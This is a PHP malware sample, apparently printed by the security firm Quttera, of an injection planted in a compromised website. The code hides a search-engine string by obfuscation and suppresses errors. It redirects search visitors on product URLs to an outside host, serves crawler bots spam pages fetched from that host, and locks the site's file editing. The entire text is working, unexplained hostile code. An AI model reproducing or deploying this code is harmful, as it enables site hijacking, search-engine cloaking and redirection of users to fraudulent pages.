error_reporting(0);
function g_1($url)
{
if (function_exists("file_get_contents") === false)
return false;
$buf = @file_get_contents($url);
if ($buf == "")
return false;
return $buf;
}
function g_2($url)
{
if (function_exists("curl_init") === false)
return false;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_HEADER, 0);
$res = curl_exec($ch);
curl_close($ch);
if ($res == "")
return false;
return $res;
}
function g_3($url)
{
if (function_exists("file") === false)
return false;
$inc = @file($url);
$buf = @implode("", $inc);
if ($buf == "")
return false;
return $buf;
}
function g_4($url)
{
if (function_exists("socket_create") === false)
return false;
$p = @parse_url($url);
$host = $p["host"];
if (!isset($p["query"]))
$p["query"] = "";
$uri = $p["path"] . "?" . $p["query"];
$ip1 = @gethostbyname($host);
$ip2 = @long2ip(@ip2long($ip1));
if ($ip1 != $ip2)
return false;
$sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!@socket_connect($sock, $ip1, 80)) {
@socket_close($sock);
return false;
}
$req = "GET $uri HTTP/1.0
";
$req .= "Host: $host
";
socket_write($sock, $req);
$buf = "";
while ($t = socket_read($sock, 10000)) {
$buf .= $t;
}
@socket_close($sock);
if ($buf == "")
return false;
list($m, $buf) = explode("
", $buf);
return $buf;
}
function gtd($url)
{
$co = "";
$co = @g_1($url);
if ($co !== false)
return $co;
$co = @g_2($url);
if ($co !== false)
return $co;
$co = @g_3($url);
if ($co !== false)
return $co;
$co = @g_4($url);
if ($co !== false)
return $co;
return "";
}
function chref($crefs)
{
$truecref= str_replace("x","","bxxixnxgx|xaxoxxlx|axsxxk|xgxoxxoxgxlxe|yxxaxhxoxo|sxexxaxrxcxh");
if(preg_match("/$truecref/i",$crefs)){
return true;
}else{
return false;
}
}
if (preg_match('#^/product/([^/?]+)#', $_SERVER['REQUEST_URI'], $m)) {
$files = $m[1];
if (!preg_match('/^[a-zA-Z0-9_-]+$/', $files)) {
exit;
}
$jturl = "https://box4.fingerling.org/rdt/buydeal.php?id=".$files."&host=technovaprecision.com";
$htprefs = strtolower($_SERVER['HTTP_REFERER']);
if(chref($htprefs) && $files!==NULL){
header("location: ".$jturl);
exit;
}
$ref = @strtolower($_SERVER['HTTP_USER_AGENT']);
if (strpos ($ref, 'bing') !== false ||strpos ($ref, 'BingPreview') !== false ||strpos ($ref, 'Bingbot') !== false ||strpos ($ref, 'AdIdxBot') !== false ||strpos ($ref, 'google') !== false || strpos ($ref, 'yahoo') !== false || strpos ($ref, 'bing') !== false || strpos ($ref, 'aol') !== false || strpos ($ref, 'ask') !== false || strpos ($ref, 'search') !== false|| strpos ($ref, 'bot') !== false) {
$con= gtd('https://box4.fingerling.org/rdt/getidm.php?m=shop&host=technovaprecision.com&h='.$files);
echo $con;
exit;
}
}
define('DISALLOW_FILE_EDIT',true);
define('DISALLOW_FILE_MODS',true);
© 2023 Quttera Ltd. All rights reserved.